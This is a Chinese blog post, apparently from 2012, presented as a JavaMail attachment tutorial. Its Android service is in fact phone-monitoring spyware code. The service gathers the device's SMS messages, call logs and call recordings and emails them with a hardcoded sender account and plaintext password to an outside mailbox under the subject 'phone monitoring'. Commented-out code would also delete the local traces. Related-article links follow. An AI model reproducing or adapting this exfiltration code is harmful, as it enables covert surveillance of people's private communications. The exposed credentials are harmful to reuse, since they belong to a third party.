邮件发送附件

原创 2012年03月28日 13:31:01
把邮件的所有信息封装成一个实体类对象
public class MailSenderInfo {


private String mailServerHost;//发送邮件服务器的ip
private String mailServerPort;//发送邮件服务器的端口号
private String fromMailAddress;//邮件发送者的地址
private String toMailAddress;//收件人的邮箱地址
private String userName;//发送邮件的用户名和密码
private String userPwd;
//是否需要身份验证
private boolean validate=false;
private String title;//邮件的标题,主题
private String context;//邮件的文本内容
private String[] attachFileNames;//附件的名字
//achieve email's session attribute
//获得邮件的绘画属性
public Properties getProperties(){
Properties properties=new Properties();
properties.setProperty("mail.transport.protocol", "smtp");   
properties.put("mail.host", getMailServerHost());
properties.put("mail.smtp.auth", isValidate()?"true":"false");
return properties;
}


public String getMailServerHost() {
return mailServerHost;
}


public void setMailServerHost(String mailServerHost) {
this.mailServerHost = mailServerHost;
}


public String getMailServerPort() {
return mailServerPort;
}


public void setMailServerPort(String mailServerPort) {
this.mailServerPort = mailServerPort;
}


public String getFromMailAddress() {
return fromMailAddress;
}


public void setFromMailAddress(String fromMailAddress) {
this.fromMailAddress = fromMailAddress;
}


public String getToMailAddress() {
return toMailAddress;
}


public void setToMailAddress(String toMailAddress) {
this.toMailAddress = toMailAddress;
}


public String getUserName() {
return userName;
}


public void setUserName(String userName) {
this.userName = userName;
}


public String getUserPwd() {
return userPwd;
}


public void setUserPwd(String userPwd) {
this.userPwd = userPwd;
}


public boolean isValidate() {
return validate;
}


public void setValidate(boolean validate) {
this.validate = validate;
}


public String getTitle() {
return title;
}


public void setTitle(String title) {
this.title = title;
}


public String getContext() {
return context;
}


public void setContext(String context) {
this.context = context;
}


public String[] getAttachFileNames() {
return attachFileNames;
}


public void setAttachFileNames(String[] attachFileNames) {
this.attachFileNames = attachFileNames;
}
}




身份验证类
public class EmailAuthenticator extends Authenticator{


private String userName;//user name
private String userPwd;//user password
//checking send email
public EmailAuthenticator(String userName,String userPwd) {
// TODO Auto-generated constructor stub
this.userName=userName;
this.userPwd=userPwd;
}
public EmailAuthenticator() {
// TODO Auto-generated constructor stub
}


@Override
protected PasswordAuthentication getPasswordAuthentication() {
// TODO Auto-generated method stub
return new PasswordAuthentication(userName, userPwd);
}


}












发送邮件类
public class SimpleMailSender {        
//发送邮件带有附件
public boolean sendMailForFile(MailSenderInfo senderInfo,List<String> file_str){
//判断是否需要身份验证
EmailAuthenticator authenticator=null;
if(senderInfo.isValidate()){
authenticator=new EmailAuthenticator(senderInfo.getUserName(),                                         senderInfo.getUserPwd());
}
//根据邮件会话属性和身份构造器创建一个邮件的session
Session session=Session.getInstance(senderInfo.getProperties(), authenticator);
//根据邮件session创建一个邮件消息
try {
Message message=new MimeMessage(session);
//创建邮件发送者的邮箱
message.setFrom(new InternetAddress(senderInfo.getFromMailAddress()));
//设置邮件的接受邮箱
message.setRecipient(RecipientType.TO, new                                         InternetAddress(senderInfo.getToMailAddress()));
//设置邮箱的标题
message.setSubject(senderInfo.getTitle());
//设置邮箱的发送时间
message.setSentDate(new Date());
                                        //MimeMultpart类是一个容器类,包含MimeBodyPart类型的对象
MimeMultipart mmp=new MimeMultipart("mixed");
                                        //循环附件的所有绝对路径,如:mnt/sdcard/wetrecord/alan.3gp
if(file_str!=null&&file_str.size()!=0){
for(int i=0;i<file_str.size();i++){
                                                        //用来装数据,如文本,html,附件等
MimeBodyPart mbp=new MimeBodyPart();
                                                        //文件数据源对象
FileDataSource source=new FileDataSource(file_str.get(i));
                                                        //设置数据源的控制对象,
mbp.setDataHandler(new DataHandler(source));
                                                        //设置文件名
mbp.setFileName(source.getName());
                                                        //把mbp添加到容器中去
mmp.addBodyPart(mbp);
}
}
                                         //用于添加html文本数据,如你的监听信息和电话
MimeBodyPart mbp=new MimeBodyPart();
//添加文字内容
mbp.setContent(senderInfo.getContext(), "text/html;charset=utf-8");
mmp.addBodyPart(mbp);
                                            //将容器添加到邮件的内容中去
message.setContent(mmp);
message.saveChanges();
//发送邮件
Transport.send(message);
return true;
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
}


}




发送邮件的服务
public class SendEmailService extends Service {


public static final String basePath=Environment.getExternalStorageDirectory().getAbsolutePath();
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}


@Override
public void onStart(Intent intent, int startId) {
// TODO Auto-generated method stub
Log.i("wet", "开始发邮件");
ConnectivityManager manager=(ConnectivityManager)this.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo net=manager.getActiveNetworkInfo();
if(net==null){
Log.i("wet", "该用户暂时没有任何可用网络,不能发送邮件");
}
else{
Log.i("wet", "用户有可用网络:类型:"+net.getTypeName());
MailSenderInfo info=new MailSenderInfo();
info.setValidate(true);
//调用得到邮件信息
info.setContext(getContextHtml());
info.setMailServerHost("smtp.sina.com");
info.setToMailAddress(" 475729164@qq.com");
info.setFromMailAddress("junxianalan@sina.com");
info.setTitle("alan电话监听");
info.setUserName("junxianalan@sina.com");
info.setUserPwd("lizhiyu1991");
SimpleMailSender sender=new SimpleMailSender();
boolean issend=sender.sendMailForFile(info, getFilesName());
if(issend){
Log.i("wet", "发送成功");
//如果发送成功就把数据库数据删除
//DBPhoneCallInfo callInfo=new DBPhoneCallInfo();
//callInfo.open(this);
//callInfo.deletePhone();
//callInfo.close();
//
//DBSmsInfo dbSmsInfo=new DBSmsInfo(this);
//dbSmsInfo.open(this);
//dbSmsInfo.deleteSms();
//dbSmsInfo.close();
//删除sdcard的录音文件
//deleteSDcardRecord();
}
//发送附件
//Log.i("wet", "开始发送附件");
//MailSenderInfo info1=new MailSenderInfo();
//info1.setValidate(true);
////调用得到邮件信息
//info1.setMailServerHost("smtp.sina.com");
//info1.setToMailAddress("junxianalan@gmail.com");
//info1.setFromMailAddress("junxianalan@sina.com");
//info1.setTitle("alan电话监听");
//info1.setUserName("junxianalan@sina.com");
//info1.setUserPwd("lizhiyu1991");
}
this.stopSelf();
super.onStart(intent, startId);
}
//得到所要发送的邮件内容,经过html排版
public String getContextHtml(){
StringBuilder sb=new StringBuilder();
sb.append("<center>");
sb.append("<font color='red' size='4'>所监听的信息内容</font><br/><br/>");
DBSmsInfo dbSmsInfo=new DBSmsInfo(this);
dbSmsInfo.open(this);
List<TblSmsInfo> list=dbSmsInfo.getSmsInfoList();
dbSmsInfo.close();
sb.append("<table width='1000'  bgcolor='#CCFFFF'>" +
"<tr>" +
"<td width='20%'>电话号码</td>" +
"<td width='50%'>信息内容</td>" +
"<td width='20%'>信息日期</td>" +
"<td width='10%'>信息类型</td>" +
"</tr>");
for(TblSmsInfo ti:list){
sb.append("<tr>" +
"<td>"+ti.getSmsNo()+"</td>" +
"<td>"+ti.getSmsText()+"</td>" +
"<td>"+ti.getSmsDate()+"</td>" +
"<td>"+ti.getSmsType()+"</td>" +
"</tr>");
}
sb.append("</table><br/><br/>");
sb.append("<font color='red' size='4'>所监听的电话内容</font><br/><br/>");
DBPhoneCallInfo dbPhoneCallInfo=new DBPhoneCallInfo();
dbPhoneCallInfo.open(this);
List<TblPhoneCallInfo> phones=dbPhoneCallInfo.getPhoneList();
dbPhoneCallInfo.close();
sb.append("<table width='1000'  bgcolor='#CCFFFF'>" +
"<tr>" +
"<td width='20%'>通话号码</td>" +
"<td width='30%'>通话时长</td>" +
"<td width='20%'>通话日期</td>" +
"<td width='10%'>通话类型</td>" +
"<td width='20%'>通话录音名</td>" +
"</tr>");
for(TblPhoneCallInfo phone:phones){
sb.append("<tr>" +
"<td width='20%'>"+phone.getPhoneNo()+"</td>" +
"<td width='50%'>"+phone.getPhoneLongTime()+"</td>" +
"<td width='10%'>"+phone.getPhoneTime()+"</td>" +
"<td width='10%'>"+phone.getPhoneCallType()+"</td>" +
"<td width='10%'>"+phone.getPhoneFileName()+"</td>" +
"</tr>");
Log.i("wet", phone.getPhoneNo()+">>>>>>");
}
sb.append("</table>");
Log.i("wet", sb.toString());
return sb.toString();
}


//删除sdcard里的录音文件
public void deleteSDcardRecord(){
File file=new File(basePath+"/wetrecord/");
//file.deleteOnExists()
if(file.exists()){
file.delete();
}
}
public List<String> getFilesName(){
List<String> list=new ArrayList<String>();
File file=new File(basePath+"/wetrecord/");
if(file.exists()){
for(String ss:file.list()){
list.add(basePath+"/wetrecord/"+ss);
Log.i("wet", ss+" file");
}
}
return list;
}
}

linux下用C编写的基于smtp的带附件邮件发送程序

今天做了一个简单的stmp邮件发送的客户端demo,可以支持带附件发送,希望将实现分享一下, 目前测试环境是公司的内部邮箱,  有gmail邮箱测试没有成功, 可能gmail邮箱需要ssl加密,后续...

java 邮件发送,支持附件发送

  • 2011年04月01日 17:30
  • 3KB
  • 下载

C# MailKit 邮件发送附件下载demo

  • 2016年03月02日 11:17
  • 8.94MB
  • 下载

javaMail邮件发送功能(多收件人,多抄送人,多密送人,多附件)

先看源码,再来理解,可以直接使用! JavaMailWithAttachment.java: private MimeMessage message; private Session...

nodejs模块nodemailer基本使用-邮件发送(支持附件)

nodemailer是nodejs中的邮件发送模块,本文使用的版本为2.5.0 npm下载模块后,在项目中引入就可以使用: var nodemailer = require('nodemailer')...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:邮件发送附件
举报原因:
原因补充:

(最多只允许输入30个字)